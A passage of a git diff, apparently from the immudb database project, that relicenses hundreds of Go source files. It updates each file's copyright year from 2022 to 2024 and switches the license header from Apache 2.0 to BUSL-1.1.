pkg/database/instrumented_rwmutex.go | 6 +++--- pkg/database/instrumented_rwmutex_test.go | 6 +++--- pkg/database/meta.go | 6 +++--- pkg/database/protoconv.go | 6 +++--- pkg/database/protoconv_test.go | 6 +++--- pkg/database/reference.go | 6 +++--- pkg/database/reference_test.go | 6 +++--- pkg/database/replica_test.go | 6 +++--- pkg/database/scan.go | 6 +++--- pkg/database/scan_test.go | 6 +++--- pkg/database/sorted_set.go | 6 +++--- pkg/database/sorted_set_test.go | 6 +++--- pkg/database/sql.go | 6 +++--- pkg/database/sql_test.go | 6 +++--- pkg/database/truncator.go | 6 +++--- pkg/database/truncator_test.go | 6 +++--- pkg/database/types.go | 6 +++--- pkg/errors/error.go | 6 +++--- pkg/errors/errors_test.go | 6 +++--- pkg/errors/grpc_status.go | 6 +++--- pkg/errors/grpc_status_test.go | 6 +++--- pkg/errors/map.go | 6 +++--- pkg/errors/map_test.go | 6 +++--- pkg/errors/meta.go | 6 +++--- pkg/errors/wrapped.go | 6 +++--- pkg/fs/copy.go | 6 +++--- pkg/fs/copy_test.go | 6 +++--- pkg/fs/tar.go | 6 +++--- pkg/fs/tar_test.go | 6 +++--- pkg/fs/zip.go | 6 +++--- pkg/fs/zip_test.go | 6 +++--- pkg/immuos/filepath.go | 6 +++--- pkg/immuos/filepath_test.go | 6 +++--- pkg/immuos/ioutil.go | 6 +++--- pkg/immuos/ioutil_test.go | 6 +++--- pkg/immuos/os.go | 6 +++--- pkg/immuos/os_test.go | 6 +++--- pkg/immuos/user.go | 6 +++--- pkg/immuos/user_test.go | 6 +++--- pkg/integration/auditor_test.go | 6 +++--- pkg/integration/client_test.go | 6 +++--- pkg/integration/database_creation_test.go | 6 +++--- pkg/integration/database_runtime_test.go | 6 +++--- pkg/integration/error_test.go | 6 +++--- pkg/integration/follower_replication_test.go | 6 +++--- pkg/integration/fuzzing/grpc_fuzz_test.go | 6 +++--- pkg/integration/replication/docker.go | 6 +++--- pkg/integration/replication/docker_test.go | 6 +++--- pkg/integration/replication/server.go | 6 +++--- pkg/integration/replication/suite.go | 6 +++--- .../replication/synchronous_replication_test.go | 6 +++--- pkg/integration/server_recovery_test.go | 6 +++--- pkg/integration/session_test.go | 6 +++--- pkg/integration/signature_verifier_interceptor_test.go | 6 +++--- pkg/integration/sql/sql_test.go | 6 +++--- pkg/integration/sql_types_test.go | 6 +++--- pkg/integration/stream/stream_replication_test.go | 6 +++--- pkg/integration/stream/stream_test.go | 6 +++--- pkg/integration/stream/streams_verified_test.go | 6 +++--- pkg/integration/stream/streams_zscan_and_history_test.go | 6 +++--- pkg/integration/tx/transaction_test.go | 6 +++--- pkg/integration/tx/tx_entries_test.go | 6 +++--- pkg/integration/verification_long_linear_proof_test.go | 6 +++--- pkg/pgsql/errors/errors.go | 6 +++--- pkg/pgsql/errors/errors_test.go | 6 +++--- .../bmessages/authentication_cleartext_password.go | 6 +++--- pkg/pgsql/server/bmessages/authentication_ok.go | 6 +++--- pkg/pgsql/server/bmessages/bind_complete.go | 6 +++--- pkg/pgsql/server/bmessages/command_complete.go | 6 +++--- pkg/pgsql/server/bmessages/data_row.go | 6 +++--- pkg/pgsql/server/bmessages/empty_query_response.go | 6 +++--- pkg/pgsql/server/bmessages/error_response.go | 6 +++--- pkg/pgsql/server/bmessages/error_response_opt.go | 6 +++--- pkg/pgsql/server/bmessages/error_response_test.go | 6 +++--- pkg/pgsql/server/bmessages/parameter_description.go | 6 +++--- pkg/pgsql/server/bmessages/parameter_status.go | 6 +++--- pkg/pgsql/server/bmessages/parse_complete.go | 6 +++--- pkg/pgsql/server/bmessages/ready_for_query.go | 6 +++--- pkg/pgsql/server/bmessages/row_description.go | 6 +++--- pkg/pgsql/server/fmessages/bind.go | 6 +++--- pkg/pgsql/server/fmessages/bind_test.go | 6 +++--- pkg/pgsql/server/fmessages/describe.go | 6 +++--- pkg/pgsql/server/fmessages/execute.go | 6 +++--- pkg/pgsql/server/fmessages/execute_test.go | 6 +++--- pkg/pgsql/server/fmessages/flush.go | 6 +++--- pkg/pgsql/server/fmessages/fmessages_test/payload.go | 6 +++--- pkg/pgsql/server/fmessages/parse.go | 6 +++--- pkg/pgsql/server/fmessages/parse_test.go | 6 +++--- pkg/pgsql/server/fmessages/password_message.go | 6 +++--- pkg/pgsql/server/fmessages/query.go | 6 +++--- pkg/pgsql/server/fmessages/string_reader.go | 6 +++--- pkg/pgsql/server/fmessages/sync.go | 6 +++--- pkg/pgsql/server/fmessages/terminate.go | 6 +++--- pkg/pgsql/server/initialize_session.go | 6 +++--- pkg/pgsql/server/message.go | 6 +++--- pkg/pgsql/server/message_test.go | 6 +++--- pkg/pgsql/server/options.go | 6 +++--- pkg/pgsql/server/pgmeta/pg_type.go | 6 +++--- pkg/pgsql/server/pgsql_integration_test.go | 6 +++--- pkg/pgsql/server/query_machine.go | 6 +++--- pkg/pgsql/server/query_machine_test.go | 6 +++--- pkg/pgsql/server/request_handler.go | 6 +++--- pkg/pgsql/server/server.go | 6 +++--- pkg/pgsql/server/server_test.go | 6 +++--- pkg/pgsql/server/session.go | 6 +++--- pkg/pgsql/server/session_test.go | 6 +++--- pkg/pgsql/server/ssl_handshake.go | 6 +++--- pkg/pgsql/server/ssl_handshake_test.go | 6 +++--- pkg/pgsql/server/stmts_handler.go | 6 +++--- pkg/pgsql/server/types.go | 6 +++--- pkg/pgsql/server/types_test.go | 6 +++--- pkg/pgsql/server/version.go | 6 +++--- pkg/replication/delayer.go | 6 +++--- pkg/replication/metrics.go | 6 +++--- pkg/replication/options.go | 6 +++--- pkg/replication/options_test.go | 6 +++--- pkg/replication/replicator.go | 6 +++--- pkg/replication/replicator_test.go | 6 +++--- pkg/server/authorization_operations.go | 6 +++--- pkg/server/corruption_checker.go | 6 +++--- pkg/server/corruption_checker_test.go | 6 +++--- pkg/server/db_dummy_closed.go | 6 +++--- pkg/server/db_dummy_closed_test.go | 6 +++--- pkg/server/db_operations.go | 6 +++--- pkg/server/db_options.go | 6 +++--- pkg/server/db_options_test.go | 6 +++--- pkg/server/db_runtime_test.go | 6 +++--- pkg/server/documents_operations.go | 6 +++--- pkg/server/documents_operations_test.go | 6 +++--- pkg/server/error_mapper_interceptor.go | 6 +++--- pkg/server/errors.go | 6 +++--- pkg/server/errors_test.go | 6 +++--- pkg/server/keepAlive.go | 6 +++--- pkg/server/keep_alive_session_interceptor.go | 6 +++--- pkg/server/metrics.go | 6 +++--- pkg/server/metrics_funcs.go | 6 +++--- pkg/server/metrics_funcs_test.go | 6 +++--- pkg/server/metrics_test.go | 6 +++--- pkg/server/multidb_handler.go | 6 +++--- pkg/server/multidb_handler_test.go | 6 +++--- pkg/server/options.go | 6 +++--- pkg/server/options_test.go | 6 +++--- pkg/server/pid.go | 6 +++--- pkg/server/pid_test.go | 6 +++--- pkg/server/remote_storage.go | 6 +++--- pkg/server/remote_storage_test.go | 6 +++--- pkg/server/server.go | 6 +++--- pkg/server/server_test.go | 6 +++--- pkg/server/servertest/server.go | 6 +++--- pkg/server/servertest/server_mock.go | 6 +++--- pkg/server/service.go | 6 +++--- pkg/server/service_test.go | 6 +++--- pkg/server/session.go | 6 +++--- pkg/server/session_auth_interceptor.go | 6 +++--- pkg/server/sessions/errors.go | 6 +++--- pkg/server/sessions/internal/transactions/errors.go | 6 +++--- .../sessions/internal/transactions/transactions.go | 6 +++--- .../sessions/internal/transactions/transactions_test.go | 6 +++--- pkg/server/sessions/manager.go | 6 +++--- pkg/server/sessions/manager_test.go | 6 +++--- pkg/server/sessions/options.go | 6 +++--- pkg/server/sessions/options_test.go | 6 +++--- pkg/server/sessions/session.go | 6 +++--- pkg/server/sessions/session_test.go | 6 +++--- pkg/server/sever_current_state_test.go | 6 +++--- pkg/server/sql.go | 6 +++--- pkg/server/sql_test.go | 6 +++--- pkg/server/state_signer.go | 6 +++--- pkg/server/state_signer_test.go | 6 +++--- pkg/server/stream_replication.go | 6 +++--- pkg/server/stream_replication_test.go | 6 +++--- pkg/server/stream_test.go | 6 +++--- pkg/server/streams.go | 6 +++--- pkg/server/transaction.go | 6 +++--- pkg/server/transaction_test.go | 6 +++--- pkg/server/truncator.go | 6 +++--- pkg/server/truncator_test.go | 6 +++--- pkg/server/types.go | 6 +++--- pkg/server/types_test.go | 6 +++--- pkg/server/user.go | 6 +++--- pkg/server/user_test.go | 6 +++--- pkg/server/uuid.go | 6 +++--- pkg/server/uuid_test.go | 6 +++--- pkg/server/webserver.go | 6 +++--- pkg/server/webserver_test.go | 6 +++--- pkg/signer/ecdsa.go | 6 +++--- pkg/signer/ecdsa_test.go | 6 +++--- pkg/signer/signer.go | 6 +++--- pkg/stdlib/connection.go | 6 +++--- pkg/stdlib/connection_test.go | 6 +++--- pkg/stdlib/connector.go | 6 +++--- pkg/stdlib/connector_test.go | 6 +++--- pkg/stdlib/driver.go | 6 +++--- pkg/stdlib/driver_test.go | 6 +++--- pkg/stdlib/errors.go | 6 +++--- pkg/stdlib/immuConnector.go | 6 +++--- pkg/stdlib/rows.go | 6 +++--- pkg/stdlib/rows_test.go | 6 +++--- pkg/stdlib/sql_test.go | 6 +++--- pkg/stdlib/tx.go | 6 +++--- pkg/stdlib/tx_test.go | 6 +++--- pkg/stdlib/uri.go | 6 +++--- pkg/stdlib/uri_test.go | 6 +++--- pkg/stream/errors.go | 6 +++--- pkg/stream/execall_receiver.go | 6 +++--- pkg/stream/execall_receiver_test.go | 6 +++--- pkg/stream/execall_sender.go | 6 +++--- pkg/stream/execall_sender_test.go | 6 +++--- pkg/stream/execall_streamer.go | 6 +++--- pkg/stream/factory.go | 6 +++--- pkg/stream/kvparser.go | 6 +++--- pkg/stream/kvparser_test.go | 6 +++--- pkg/stream/kvreceiver.go | 6 +++--- pkg/stream/kvsender.go | 6 +++--- pkg/stream/kvsender_test.go | 6 +++--- pkg/stream/kvstreamer.go | 6 +++--- pkg/stream/meta.go | 6 +++--- pkg/stream/receiver.go | 6 +++--- pkg/stream/receiver_test.go | 6 +++--- pkg/stream/sender.go | 6 +++--- pkg/stream/sender_test.go | 6 +++--- pkg/stream/streamer.go | 6 +++--- pkg/stream/streamtest/err_reader.go | 6 +++--- pkg/stream/streamtest/receiver.go | 6 +++--- pkg/stream/streamtest/sender.go | 6 +++--- pkg/stream/streamtest/stream.go | 6 +++--- pkg/stream/types.go | 6 +++--- pkg/stream/types_test.go | 6 +++--- pkg/stream/ventryparser.go | 6 +++--- pkg/stream/ventryparser_test.go | 6 +++--- pkg/stream/ventryreceiver.go | 6 +++--- pkg/stream/ventryreceiver_test.go | 6 +++--- pkg/stream/ventrysender.go | 6 +++--- pkg/stream/ventrysender_test.go | 6 +++--- pkg/stream/ventrystreamer.go | 6 +++--- pkg/stream/zStreamer.go | 6 +++--- pkg/stream/zparser.go | 6 +++--- pkg/stream/zparser_test.go | 6 +++--- pkg/stream/zreceiver.go | 6 +++--- pkg/stream/zreceiver_test.go | 6 +++--- pkg/stream/zsender.go | 6 +++--- pkg/stream/zsender_test.go | 6 +++--- pkg/streamutils/files.go | 6 +++--- pkg/streamutils/files_test.go | 6 +++--- pkg/truncator/truncator.go | 6 +++--- pkg/truncator/truncator_test.go | 6 +++--- pkg/verification/verification.go | 6 +++--- pkg/verification/verification_test.go | 6 +++--- test/columns/main.go | 6 +++--- test/columns/rand.go | 6 +++--- .../documents_tests/actions/create_collections.go | 6 +++--- .../documents_tests/actions/create_index.go | 6 +++--- .../documents_tests/actions/get_collections.go | 6 +++--- .../documents_tests/actions/insert_documents.go | 6 +++--- .../documents_tests/actions/search_documents.go | 6 +++--- .../documents_tests/actions/session.go | 6 +++--- .../documents_tests/create_collections_test.go | 6 +++--- .../documents_tests/create_indexes_test.go | 6 +++--- .../documents_tests/delete_collections_test.go | 6 +++--- .../documents_tests/insert_documents_test.go | 6 +++--- .../documents_tests/models/collections.go | 6 +++--- .../documents_tests/models/documents.go | 6 +++--- .../documents_tests/models/index.go | 6 +++--- .../documents_tests/models/search.go | 6 +++--- .../documents_tests/models/user.go | 6 +++--- .../documents_tests/session_test.go | 6 +++--- .../documents_tests_deprecated/auth_test.go | 6 +++--- .../documents_tests_deprecated/collections_test.go | 6 +++--- .../create_collections_test.go | 6 +++--- .../documents_tests_deprecated/documents_test.go | 6 +++--- .../documents_tests_deprecated/documents_test_utils.go | 6 +++--- .../documents_tests_deprecated/login_test.go | 6 +++--- .../documents_tests_deprecated/utils.go | 6 +++--- test/e2e/truncation/main.go | 6 +++--- test/performance-test-suite/cmd/perf-test/main.go | 6 +++--- test/performance-test-suite/pkg/benchmarks/benchmark.go | 6 +++--- test/performance-test-suite/pkg/benchmarks/format.go | 6 +++--- .../performance-test-suite/pkg/benchmarks/format_test.go | 6 +++--- test/performance-test-suite/pkg/benchmarks/hwstats.go | 6 +++--- .../pkg/benchmarks/hwstats_test.go | 6 +++--- test/performance-test-suite/pkg/benchmarks/keytracker.go | 6 +++--- .../pkg/benchmarks/keytracker_test.go | 6 +++--- test/performance-test-suite/pkg/benchmarks/rand.go | 6 +++--- test/performance-test-suite/pkg/benchmarks/rand_test.go | 6 +++--- .../pkg/benchmarks/writetxs/benchmark.go | 6 +++--- test/performance-test-suite/pkg/runner/benchmarks.go | 6 +++--- test/performance-test-suite/pkg/runner/processinfo.go | 6 +++--- test/performance-test-suite/pkg/runner/results.go | 6 +++--- test/performance-test-suite/pkg/runner/runner.go | 6 +++--- test/performance-test-suite/pkg/runner/systeminfo.go | 6 +++--- tools/long_running/stress_tool_worker_pool.go | 6 +++--- tools/mkdb/main.go | 6 +++--- tools/testing/stress_tool_sql.go | 6 +++--- 759 files changed, 2285 insertions(+), 2279 deletions(-) diff --git a/cmd/cmdtest/random.go b/cmd/cmdtest/random.go index af96bdf779..014a3b0dcb 100644 --- a/cmd/cmdtest/random.go +++ b/cmd/cmdtest/random.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/cmdtest/stdout_collector.go b/cmd/cmdtest/stdout_collector.go index 57c3998e04..90a8eb20d8 100644 --- a/cmd/cmdtest/stdout_collector.go +++ b/cmd/cmdtest/stdout_collector.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/docs/man/generate.go b/cmd/docs/man/generate.go index e067bbf349..7ff2274435 100644 --- a/cmd/docs/man/generate.go +++ b/cmd/docs/man/generate.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/docs/man/generate_test.go b/cmd/docs/man/generate_test.go index 9a7933e7c6..ab78246556 100644 --- a/cmd/docs/man/generate_test.go +++ b/cmd/docs/man/generate_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/helper/color_unix.go b/cmd/helper/color_unix.go index 2ddc8be093..15b62dfefa 100644 --- a/cmd/helper/color_unix.go +++ b/cmd/helper/color_unix.go @@ -2,13 +2,13 @@ // +build linux darwin freebsd /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/helper/color_unix_test.go b/cmd/helper/color_unix_test.go index 2ea8bde829..a9cabd5554 100644 --- a/cmd/helper/color_unix_test.go +++ b/cmd/helper/color_unix_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/helper/color_windows.go b/cmd/helper/color_windows.go index dfd2e2da62..c607077847 100644 --- a/cmd/helper/color_windows.go +++ b/cmd/helper/color_windows.go @@ -2,13 +2,13 @@ // +build windows /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/helper/config.go b/cmd/helper/config.go index 4d5859c335..23ba8e706c 100644 --- a/cmd/helper/config.go +++ b/cmd/helper/config.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/helper/config_pathmanager_unix.go b/cmd/helper/config_pathmanager_unix.go index 00ddad970c..9ac7691d28 100644 --- a/cmd/helper/config_pathmanager_unix.go +++ b/cmd/helper/config_pathmanager_unix.go @@ -2,13 +2,13 @@ // +build linux darwin freebsd /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/helper/config_pathmanager_windows.go b/cmd/helper/config_pathmanager_windows.go index 5cdf292431..987282f25d 100644 --- a/cmd/helper/config_pathmanager_windows.go +++ b/cmd/helper/config_pathmanager_windows.go @@ -2,13 +2,13 @@ // +build windows /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/helper/config_test.go b/cmd/helper/config_test.go index 720c48099a..39b39c6d68 100644 --- a/cmd/helper/config_test.go +++ b/cmd/helper/config_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/helper/detached.go b/cmd/helper/detached.go index c24db8a2f3..ca41113997 100644 --- a/cmd/helper/detached.go +++ b/cmd/helper/detached.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/helper/detached_test.go b/cmd/helper/detached_test.go index 348b0d08e5..c4b4ee7c3b 100644 --- a/cmd/helper/detached_test.go +++ b/cmd/helper/detached_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/helper/error.go b/cmd/helper/error.go index 9fb764b432..a4e9161aef 100644 --- a/cmd/helper/error.go +++ b/cmd/helper/error.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/helper/table_printer.go b/cmd/helper/table_printer.go index abcd6a5a60..4875d307a0 100644 --- a/cmd/helper/table_printer.go +++ b/cmd/helper/table_printer.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/helper/table_printer_test.go b/cmd/helper/table_printer_test.go index a3bacbf1c7..6633825583 100644 --- a/cmd/helper/table_printer_test.go +++ b/cmd/helper/table_printer_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/helper/terminal_test.go b/cmd/helper/terminal_test.go index dbf74f9d98..381fba3728 100644 --- a/cmd/helper/terminal_test.go +++ b/cmd/helper/terminal_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/backup.go b/cmd/immuadmin/command/backup.go index acd3c1e414..9b24acd892 100644 --- a/cmd/immuadmin/command/backup.go +++ b/cmd/immuadmin/command/backup.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/backup_test.go b/cmd/immuadmin/command/backup_test.go index b58240f7c7..6d82f894b1 100644 --- a/cmd/immuadmin/command/backup_test.go +++ b/cmd/immuadmin/command/backup_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/cmd.go b/cmd/immuadmin/command/cmd.go index 6729d282e6..faf74a109a 100644 --- a/cmd/immuadmin/command/cmd.go +++ b/cmd/immuadmin/command/cmd.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/cmd_test.go b/cmd/immuadmin/command/cmd_test.go index 2d29528daa..02646d3699 100644 --- a/cmd/immuadmin/command/cmd_test.go +++ b/cmd/immuadmin/command/cmd_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/commandline.go b/cmd/immuadmin/command/commandline.go index e8db42dd00..421c7be592 100644 --- a/cmd/immuadmin/command/commandline.go +++ b/cmd/immuadmin/command/commandline.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/commandline_test.go b/cmd/immuadmin/command/commandline_test.go index 45d27ed6c3..2ff9715a91 100644 --- a/cmd/immuadmin/command/commandline_test.go +++ b/cmd/immuadmin/command/commandline_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 54fb2b878a..36a7a9e950 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/hot_backup.go b/cmd/immuadmin/command/hot_backup.go index bd8012e312..385161c048 100644 --- a/cmd/immuadmin/command/hot_backup.go +++ b/cmd/immuadmin/command/hot_backup.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuadmin/command/hot_backup_test.go b/cmd/immuadmin/command/hot_backup_test.go 